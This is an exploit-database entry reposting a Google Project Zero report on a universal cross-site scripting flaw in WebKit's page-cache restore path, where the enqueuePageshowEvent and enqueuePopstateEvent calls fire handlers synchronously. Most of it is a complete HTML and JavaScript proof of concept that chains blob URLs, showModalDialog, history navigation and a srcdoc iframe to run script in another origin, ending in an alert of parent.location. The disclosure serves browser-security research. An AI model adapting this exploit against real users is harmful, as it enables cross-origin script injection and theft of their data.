WebKit - enqueuePageshowEvent and enqueuePopstateEvent Universal Cross-Site Scripting Exploit

2017-05-2500:00:00

Google Security Research

0day.today

0.009 Low

EPSS

Percentile

80.6%

JSON

Exploit for multiple platform in category dos / poc

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1151
 
Here is a snippet of CachedFrameBase::restore which is invoked when cached frames are restored.
 
void CachedFrameBase::restore()
{
    ...
    for (auto& childFrame : m_childFrames) {
        ASSERT(childFrame->view()->frame().page());
        frame.tree().appendChild(childFrame->view()->frame());
        childFrame->open(); <----- (a)
    }
    ...
    // FIXME: update Page Visibility state here.
    // https://bugs.webkit.org/show_bug.cgi?id=116770
    m_document->enqueuePageshowEvent(PageshowEventPersisted);
 
    HistoryItem* historyItem = frame.loader().history().currentItem();
    if (historyItem && historyItem->stateObject())
        m_document->enqueuePopstateEvent(historyItem->stateObject());
 
    frame.view()->didRestoreFromPageCache();
}
 
enqueuePageshowEvent and enqueuePopstateEvent are named "enqueue*", but actually those *dispatch* window events that may fire JavaScript handlers synchronously. 
 
At (a), |open| method may invoke |CachedFrameBase::restore| method again. Thus, the parent frame's document may be replaced while |open| is called in the iteration, the next child frame is attached to the parent frame holding the replaced document.
 
PoC:
-->
 
<html>
<body>
<script>
 
function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}
 
function navigate(w, url) {
    let a = w.document.createElement('a');
    a.href = url;
    a.click();
}
 
function main() {
    let i0 = document.body.appendChild(document.createElement('iframe'));
    let i1 = document.body.appendChild(document.createElement('iframe'));
 
    i0.contentWindow.onpageshow = () => {
        navigate(window, 'https://abc.xyz/');
 
        showModalDialog(createURL(`
<script>
let it = setInterval(() => {
    try {
        opener.document.x;
    } catch (e) {
        clearInterval(it);
        window.close();
    }
}, 10);
</scrip` + 't>'));
 
    };
 
    i1.contentWindow.onpageshow = () => {
        i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>';
        navigate(i1.contentWindow, 'about:srcdoc');
    };
 
    navigate(window, createURL(`<html><head></head><body>Click anywhere<script>
window.onclick = () => {
    window.onclick = null;
 
    history.back();
};
 
</scrip` + `t></body></html>`));
}
 
window.onload = () => {
    setTimeout(main, 0);
};
 
</script>
</body>
</html>

#  0day.today [2018-01-08]  #

0.009 Low

EPSS

Percentile

80.6%

JSON

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